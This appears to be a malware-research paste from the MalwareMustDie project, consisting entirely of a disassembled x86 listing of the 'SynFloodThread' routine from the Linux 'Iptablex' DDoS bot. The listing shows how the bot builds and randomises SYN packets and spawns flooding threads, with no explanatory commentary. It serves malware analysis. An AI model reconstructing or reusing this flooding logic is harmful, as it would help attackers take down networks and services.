; SYN Flood thread #MalwareMustDie - @unixfreaxjp /malware/Iptablex]$ date
; Mon Jun 16 14:08:15 JST 2014
.text:08048A00 public SynFloodThread
.text:08048A00 SynFloodThread proc near
.text:08048A00 var_88 = dword ptr -88h
.text:08048A00 var_84 = dword ptr -84h
.text:08048A00 var_80 = dword ptr -80h
.text:08048A00 var_7C = dword ptr -7Ch
.text:08048A00 var_78 = dword ptr -78h
.text:08048A00 var_74 = dword ptr -74h
.text:08048A00 var_70 = dword ptr -70h
.text:08048A00 var_6C = dword ptr -6Ch
.text:08048A00 var_68 = dword ptr -68h
.text:08048A00 var_60 = dword ptr -60h
.text:08048A00 var_5C = dword ptr -5Ch
.text:08048A00 var_58 = dword ptr -58h
.text:08048A00 var_52 = word ptr -52h
.text:08048A00 var_50 = dword ptr -50h
.text:08048A00 var_4C = dword ptr -4Ch
.text:08048A00 var_44 = byte ptr -44h
.text:08048A00 var_40 = dword ptr -40h
.text:08048A00 var_3C = word ptr -3Ch
.text:08048A00 var_3A = word ptr -3Ah
.text:08048A00 var_38 = dword ptr -38h
.text:08048A00 var_34 = word ptr -34h
.text:08048A00 var_30 = dword ptr -30h
.text:08048A00 var_24 = dword ptr -24h
.text:08048A00 var_20 = dword ptr -20h
.text:08048A00 var_1C = dword ptr -1Ch
.text:08048A00 var_18 = dword ptr -18h
.text:08048A00 var_14 = dword ptr -14h
.text:08048A00 var_10 = byte ptr -10h
.text:08048A00 arg_0 = dword ptr 8
.text:08048A00
.text:08048A00 push ebp
.text:08048A01 mov ebp, esp
.text:08048A03 push edi
.text:08048A04 push esi
.text:08048A05 push ebx
.text:08048A06 sub esp, 7Ch ; fd
.text:08048A09 mov esi, [ebp+arg_0]
.text:08048A0C lea eax, [ebp+var_6C]
.text:08048A0F mov [esp+88h+var_80], 60h
.text:08048A17 mov [esp+88h+var_84], 0
.text:08048A1F mov [esp+88h+var_88], eax
.text:08048A22 call memset
.text:08048A27 mov eax, [esi]
.text:08048A29 mov [ebp+var_38], eax
.text:08048A2C mov eax, [esi+4]
.text:08048A2F mov edi, [esi+0Ch]
.text:08048A32 mov ebx, [esi+64h]
.text:08048A35 mov [esp+88h+var_88], 0
.text:08048A3C mov [ebp+var_34], ax
.text:08048A40 mov [ebp+var_52], di
.text:08048A44 call time
.text:08048A49 lea edx, [esi+50h]
.text:08048A4C mov [ebp+var_60], eax
.text:08048A4F mov ecx, [esi+60h]
.text:08048A52 mov [ebp+var_44], 0
.text:08048A56 mov [ebp+var_5C], ecx
.text:08048A59 mov eax, [esi+50h]
.text:08048A5C mov [ebp+var_20], eax
.text:08048A5F mov eax, [edx+4]
.text:08048A62 mov [ebp+var_1C], eax
.text:08048A65 mov eax, [edx+8]
.text:08048A68 mov [ebp+var_18], eax
.text:08048A6B mov eax, [edx+0Ch]
.text:08048A6E mov [ebp+var_14], eax
.text:08048A71 test byte ptr [esi+8], 4
.text:08048A75 jnz loc_8048B60
.text:08048A7B cmp ebx, ecx
.text:08048A7D ja loc_8048B48
.text:08048A83
.text:08048A83 loc_8048A83:
.text:08048A83 mov eax, dword ptr ds:g_mainsrvinfo+10h
.text:08048A88 mov [esp+88h+var_88], eax
.text:08048A8B call GetSocketIp
.text:08048A90 mov [ebp+var_58], 0
.text:08048A97 ror ax, 8
.text:08048A9B ror eax, 10h
.text:08048A9E ror ax, 8
.text:08048AA2 mov [ebp+var_5C], eax
.text:08048AA5
.text:08048AA5 loc_8048AA5:
.text:08048AA5 mov eax, [ebp+var_58]
.text:08048AA8 mov ebx, [esi+68h]
.text:08048AAB mov [esp+88h+var_88], 0
.text:08048AB2 mov [ebp+var_70], eax
.text:08048AB5 call time
.text:08048ABA lea ebx, [ebx+eax+2]
.text:08048ABE movzx eax, word ptr [esi+6Ch]
.text:08048AC2 mov [ebp+var_40], ebx
.text:08048AC5 mov [ebp+var_3C], ax
.text:08048AC9 movzx eax, word ptr [esi+6Eh]
.text:08048ACD mov [ebp+var_3A], ax
.text:08048AD1 lea eax, [ebp+var_6C]
.text:08048AD4 mov [esi+80h], eax
.text:08048ADA lea eax, [esi+78h]
.text:08048ADD mov [esp+88h+var_7C], eax
.text:08048AE1 mov [esp+88h+var_80], 0
.text:08048AE9 mov [esp+88h+var_84], 1
.text:08048AF1 mov [esp+88h+var_88], 1
.text:08048AF8 call socketpair
.text:08048AFD test eax, eax
.text:08048AFF jnz short loc_8048B3C
.text:08048B01 call fork
.text:08048B06 cmp eax, 0
.text:08048B09 jz short loc_8048B75
.text:08048B0B nop
.text:08048B0C lea esi, [esi+0]
.text:08048B10 jle loc_8048E6A
.text:08048B16 mov [esi+74h], eax
.text:08048B19 mov [esp+88h+var_80], 0
.text:08048B21 mov [esp+88h+var_84], 0
.text:08048B29 mov [esp+88h+var_88], eax
.text:08048B2C call waitpid
.text:08048B31 lea eax, [ebp+var_20]
.text:08048B34 mov [esp+88h+var_88], eax
.text:08048B37 call DeleteTask
.text:08048B3C
.text:08048B3C loc_8048B3C:
.text:08048B3C mov [esp+88h+var_88], 0
.text:08048B43 call pthread_exit
.text:08048B48
.text:08048B48 loc_8048B48:
.text:08048B48 mov eax, dword ptr ds:g_mainsrvinfo+128h
.text:08048B4D cmp ecx, eax
.text:08048B4F jnb short loc_8048B54
.text:08048B51 mov [ebp+var_5C], eax
.text:08048B54
.text:08048B54 loc_8048B54:
.text:08048B54 mov eax, dword ptr ds:g_mainsrvinfo+12Ch
.text:08048B59 cmp ebx, eax
.text:08048B5B jbe short loc_8048B60
.text:08048B5D mov ebx, eax
.text:08048B5F nop
.text:08048B60
.text:08048B60 loc_8048B60:
.text:08048B60 mov eax, [ebp+var_5C]
.text:08048B63 cmp ebx, eax
.text:08048B65 jbe loc_8048A83
.text:08048B6B sub ebx, eax
.text:08048B6D mov [ebp+var_58], ebx
.text:08048B70 jmp loc_8048AA5
.text:08048B75
.text:08048B75 loc_8048B75:
.text:08048B75 lea eax, [ebp+var_6C]
.text:08048B78 mov ds:rmsg, eax
.text:08048B7D mov [esp+88h+var_84], offset stopatk
.text:08048B85 mov [esp+88h+var_88], 0E8h
.text:08048B8C call ssignal
.text:08048B91 mov eax, [esi+7Ch]
.text:08048B94 mov [esp+88h+var_88], eax
.text:08048B97 call close
.text:08048B9C movzx eax, [ebp+var_52]
.text:08048BA0 mov [ebp+var_50], 0
.text:08048BA7 mov [ebp+var_6C], 0
.text:08048BAE mov [ebp+var_68], 0
.text:08048BB5 imul ebx, eax, 1389h
.text:08048BBB mov [esp+88h+var_88], ebx
.text:08048BBE call malloc
.text:08048BC3 mov [esp+88h+var_88], ebx
.text:08048BC6 mov [ebp+var_6C], eax
.text:08048BC9 call malloc
.text:08048BCE mov edx, [ebp+var_6C]
.text:08048BD1 test edx, edx
.text:08048BD3 mov [ebp+var_68], eax
.text:08048BD6 jz loc_8048E45
.text:08048BDC test eax, eax
.text:08048BDE jz loc_8048E3D
.text:08048BE4 mov [esp+88h+var_80], ebx
.text:08048BE8 shr edi, 10h
.text:08048BEB mov [esp+88h+var_88], edx
.text:08048BEE and edi, 0FFh
.text:08048BF4 mov [esp+88h+var_84], 0
.text:08048BFC call memset
.text:08048C01 mov eax, [ebp+var_68]
.text:08048C04 mov [esp+88h+var_80], ebx
.text:08048C08 xor ebx, ebx
.text:08048C0A mov [esp+88h+var_84], 0
.text:08048C12 mov [esp+88h+var_88], eax
.text:08048C15 call memset
.text:08048C1A lea esi, [esi+0]
.text:08048C20 loc_8048C20:
.text:08048C20 movzx edx, [ebp+var_52]
.text:08048C24 movzx eax, [ebp+var_34]
.text:08048C28 mov [esp+88h+var_74], 0
.text:08048C30 mov [esp+88h+var_80], edi
.text:08048C34 mov [esp+88h+var_84], edx
.text:08048C38 imul edx, ebx
.text:08048C3B mov [esp+88h+var_78], eax
.text:08048C3F mov eax, [ebp+var_38]
.text:08048C42 add edx, [ebp+var_6C]
.text:08048C45 mov [esp+88h+var_7C], eax
.text:08048C49 mov [esp+88h+var_88], edx
.text:08048C4C call syn_packet
.text:08048C51 movzx edx, [ebp+var_52]
.text:08048C55 movzx eax, [ebp+var_34]
.text:08048C59 mov [esp+88h+var_74], 0
.text:08048C61 mov [esp+88h+var_80], edi
.text:08048C65 mov [esp+88h+var_84], edx
.text:08048C69 imul edx, ebx
.text:08048C6C mov [esp+88h+var_78], eax
.text:08048C70 mov eax, [ebp+var_38]
.text:08048C73 add edx, [ebp+var_68]
.text:08048C76 mov [esp+88h+var_7C], eax
.text:08048C7A mov [esp+88h+var_88], edx
.text:08048C7D call syn_packet
.text:08048C82 mov eax, [ebp+var_58]
.text:08048C85 cmp eax, 1
.text:08048C88 jbe short loc_8048C95
.text:08048C8A mov [esp+88h+var_88], eax
.text:08048C8D call Hbrand
.text:08048C92 mov [ebp+var_70], eax
.text:08048C95
.text:08048C95 loc_8048C95:
.text:08048C95 movzx edx, [ebp+var_52]
.text:08048C99 mov eax, [ebp+var_70]
.text:08048C9C add eax, [ebp+var_5C]
.text:08048C9F mov [esp+88h+var_7C], 0
.text:08048CA7 mov [esp+88h+var_84], edx
.text:08048CAB imul edx, ebx
.text:08048CAE add ebx, 1
.text:08048CB1 add edx, [ebp+var_6C]
.text:08048CB4 ror ax, 8
.text:08048CB8 ror eax, 10h
.text:08048CBB ror ax, 8
.text:08048CBF mov [esp+88h+var_80], eax
.text:08048CC3 mov [esp+88h+var_88], edx
.text:08048CC6 call ChangeSyn
.text:08048CCB cmp ebx, 1388h
.text:08048CD1 jnz loc_8048C20
.text:08048CD7 mov eax, [ebp+var_6C]
.text:08048CDA lea ebx, [ebp+var_30]
.text:08048CDD mov [ebp+var_10], 1
.text:08048CE1 lea edi, [ebp+var_24]
.text:08048CE4 mov [ebp+var_4C], eax
.text:08048CE7
.text:08048CE7 loc_8048CE7:
.text:08048CE7 mov [esp+88h+var_88], 2710h
.text:08048CEE call usleep
.text:08048CF3 lea eax, [ebp+var_6C]
.text:08048CF6 mov [esp+88h+var_80], ebx
.text:08048CFA add ebx, 4
.text:08048CFD mov [esp+88h+var_78], 1
.text:08048D05 mov [esp+88h+var_7C], 0
.text:08048D0D mov [esp+88h+var_84], eax
.text:08048D11 mov [esp+88h+var_88], offset SynFloodSendThread
.text:08048D18 call HbCreateThread
.text:08048D1D cmp ebx, edi
.text:08048D1F jnz short loc_8048CE7
.text:08048D21 mov [esp+88h+var_88], 4E20h
.text:08048D28 call usleep
.text:08048D2D lea eax, [ebp+var_6C]
.text:08048D30 mov [esp+88h+var_78], 1
.text:08048D38 mov [esp+88h+var_7C], 1
.text:08048D40 mov [esp+88h+var_80], ebx
.text:08048D44 mov [esp+88h+var_84], eax
.text:08048D48 mov [esp+88h+var_88], offset SynFloodBuildThread
.text:08048D4F call HbCreateThread
.text:08048D54 cmp [ebp+var_10], 1
.text:08048D58 jz short loc_8048D92
.text:08048D5A jmp short loc_8048DA5
.text:08048D5C align 10h
.text:08048D60 loc_8048D60:
.text:08048D60 movzx eax, [ebp+var_3C]
.text:08048D64 imul eax, 0F4240h
.text:08048D6A mov [esp+88h+var_88], eax
.text:08048D6D call usleep
.text:08048D72 movzx eax, [ebp+var_3A]
.text:08048D76 mov [ebp+var_44], 1
.text:08048D7A imul eax, 0F4240h
.text:08048D80 mov [esp+88h+var_88], eax
.text:08048D83 call usleep
.text:08048D88 cmp [ebp+var_10], 1
.text:08048D8C mov [ebp+var_44], 0
.text:08048D90 jnz short loc_8048DA5
.text:08048D92
.text:08048D92 loc_8048D92:
.text:08048D92 mov ebx, [ebp+var_40]
.text:08048D95 mov [esp+88h+var_88], 0
.text:08048D9C call time
.text:08048DA1 cmp ebx, eax
.text:08048DA3 jg short loc_8048D60
.text:08048DA5
.text:08048DA5 loc_8048DA5:
.text:08048DA5 mov [ebp+var_10], 0
.text:08048DA9 xor edi, edi
.text:08048DAB xor ebx, ebx
.text:08048DAD mov [esp+88h+var_88], 186A0h
.text:08048DB4 call usleep
.text:08048DB9
.text:08048DB9 loc_8048DB9:
.text:08048DB9 mov eax, [ebp+ebx*4+var_30]
.text:08048DBD mov [esp+88h+var_84], 64h
.text:08048DC5 mov [esp+88h+var_88], eax
.text:08048DC8 call HbCheckThread
.text:08048DCD test eax, eax
.text:08048DCF jz short loc_8048DDA
.text:08048DD1 cmp edi, 1Dh
.text:08048DD4 jbe loc_8048E76
.text:08048DDA
.text:08048DDA loc_8048DDA:
.text:08048DDA add ebx, 1
.text:08048DDD cmp ebx, 2
.text:08048DE0 jg short loc_8048DE6
.text:08048DE2 xor edi, edi
.text:08048DE4 jmp short loc_8048DB9
.text:08048DE6
.text:08048DE6 loc_8048DE6:
.text:08048DE6 xor ebx, ebx
.text:08048DE8
.text:08048DE8 loc_8048DE8:
.text:08048DE8 mov eax, [ebp+ebx*4+var_30]
.text:08048DEC add ebx, 1
.text:08048DEF mov [esp+88h+var_88], eax
.text:08048DF2 call HbExitThread
.text:08048DF7 cmp ebx, 3
.text:08048DFA jnz short loc_8048DE8
.text:08048DFC xor bl, bl
.text:08048DFE jmp short loc_8048E14
.text:08048E00 loc_8048E00:
.text:08048E00 cmp ebx, 1Eh
.text:08048E03 jz short loc_8048E2B
.text:08048E05 add ebx, 1
.text:08048E08 mov [esp+88h+var_88], 186A0h
.text:08048E0F call usleep
.text:08048E14 loc_8048E14:
.text:08048E14 mov eax, [ebp+var_24]
.text:08048E17 mov [esp+88h+var_84], 64h
.text:08048E1F mov [esp+88h+var_88], eax
.text:08048E22 call HbCheckThread
.text:08048E27 test eax, eax
.text:08048E29 jnz short loc_8048E00
.text:08048E2B loc_8048E2B:
.text:08048E2B mov eax, [ebp+var_24]
.text:08048E2E mov [esp+88h+var_88], eax
.text:08048E31 call HbExitThread
.text:08048E36 mov edx, [ebp+var_6C]
.text:08048E39 test edx, edx
.text:08048E3B jz short loc_8048E45
.text:08048E3D
.text:08048E3D loc_8048E3D:
.text:08048E3D mov [esp+88h+var_88], edx
.text:08048E40 call free
.text:08048E45
.text:08048E45 loc_8048E45:
.text:08048E45 mov eax, [ebp+var_68]
.text:08048E48 test eax, eax
.text:08048E4A jz short loc_8048E54
.text:08048E4C mov [esp+88h+var_88], eax
.text:08048E4F call free
.text:08048E54
.text:08048E54 loc_8048E54:
.text:08048E54 mov dword ptr [esi+80h], 0
.text:08048E5E mov [esp+88h+var_88], 0
.text:08048E65 call exit
.text:08048E6A loc_8048E6A:
.text:08048E6A mov [esp+88h+var_88], 0
.text:08048E71 call exit
.text:08048E76
.text:08048E76 loc_8048E76:
.text:08048E76 add edi, 1
.text:08048E79 mov [esp+88h+var_88], 186A0h
.text:08048E80 call usleep
.text:08048E85 jmp loc_8048DB9
.text:08048E85 SynFloodThread endp
Comments